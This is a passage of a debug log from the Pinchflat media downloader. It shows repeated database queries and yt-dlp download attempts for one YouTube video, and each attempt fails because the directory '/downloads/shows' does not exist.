s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:19.236 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=557.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:17:19.237 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=16.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:17:19.239 [debug] QUERY OK source="media_metadata" db=1.0ms idle=9.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:17:19.240 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:17:19.242 [debug] QUERY OK source="settings" db=0.3ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:19.242 [debug] QUERY OK source="settings" db=0.2ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:19.244 [debug] Running yt-dlp command for action: get_downloadable_status 13:17:19.246 [debug] QUERY OK source="settings" db=0.4ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:19.247 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:19.247 [debug] QUERY OK source="settings" db=0.3ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:19.248 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/26/2e/262ebcdcb937b8f52bfeed8cbc74fbb1f86f8ff0824b1046af08da54f574954c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:17:29.151 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/26/2e/262ebcdcb937b8f52bfeed8cbc74fbb1f86f8ff0824b1046af08da54f574954c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:17:29.152 [debug] Running yt-dlp command for action: download 13:17:29.153 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=895.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:29.154 [debug] QUERY OK source="settings" db=0.4ms idle=460.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:29.159 [debug] QUERY OK source="settings" db=4.9ms idle=460.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:17:29.160 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3e/b8/3eb8382e8dcfd1d93fa4c8328486ed5191aa3e354889237fcca62487330854f7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:17:39.030 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3e/b8/3eb8382e8dcfd1d93fa4c8328486ed5191aa3e354889237fcca62487330854f7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:17:39.030 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:17:39.034 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":19802464,"event":"job:exception","queue_time":294112,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:17:43.416 [info] {"source":"oban","duration":13575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.946 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:13.422 [info] {"source":"oban","duration":5294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:29.517 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405509516847064,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:18:29.518 [debug] QUERY OK source="media_items" db=0.8ms idle=655.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:18:29.519 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:18:29.521 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=657.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:18:29.522 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=658.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:18:29.524 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=14.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:18:29.527 [debug] QUERY OK source="media_metadata" db=0.7ms idle=10.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:18:29.528 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=9.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:18:29.530 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:29.531 [debug] QUERY OK source="settings" db=0.5ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:29.532 [debug] Running yt-dlp command for action: get_downloadable_status 13:18:29.534 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:29.535 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:29.536 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:29.536 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1b/15/1b153886083237debaedc5bd3909e369847d3f96d12a9281bc346f6a554d8e8b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:18:38.771 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1b/15/1b153886083237debaedc5bd3909e369847d3f96d12a9281bc346f6a554d8e8b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:18:38.771 [debug] Running yt-dlp command for action: download 13:18:38.772 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1885.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:38.773 [debug] QUERY OK source="settings" db=0.1ms idle=1886.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:38.773 [debug] QUERY OK source="settings" db=0.1ms idle=1227.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:18:38.773 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0c/ed/0cedb5d20925171664be6125bf1d3c5936639bf47f58912c4a0da2563c8cf2f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:18:43.430 [info] {"source":"oban","duration":4340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:49.033 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0c/ed/0cedb5d20925171664be6125bf1d3c5936639bf47f58912c4a0da2563c8cf2f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:18:49.033 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:18:49.037 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":19518490,"event":"job:exception","queue_time":481590,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:19:00.950 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:13.448 [info] {"source":"oban","duration":15128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:43.455 [info] {"source":"oban","duration":3738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.954 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:08.974 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405608974596039,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:20:08.977 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1883.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:20:08.978 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:20:08.980 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1024.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:20:08.981 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=888.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:20:08.983 [debug] QUERY OK source="media_items" db=0.8ms idle=16.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:20:08.985 [debug] QUERY OK source="media_metadata" db=0.7ms idle=10.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:20:08.986 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:20:08.988 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:08.989 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:08.990 [debug] Running yt-dlp command for action: get_downloadable_status 13:20:08.992 [debug] QUERY OK source="settings" db=0.6ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:08.993 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:08.993 [debug] QUERY OK source="settings" db=0.3ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:08.994 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fa/6f/fa6f356c76e91394d6dba8b8fd5a267e2f50b26200ab1ce11ba065b749553efc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:20:13.471 [info] {"source":"oban","duration":14794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:18.054 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fa/6f/fa6f356c76e91394d6dba8b8fd5a267e2f50b26200ab1ce11ba065b749553efc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:20:18.055 [debug] Running yt-dlp command for action: download 13:20:18.056 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1935.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 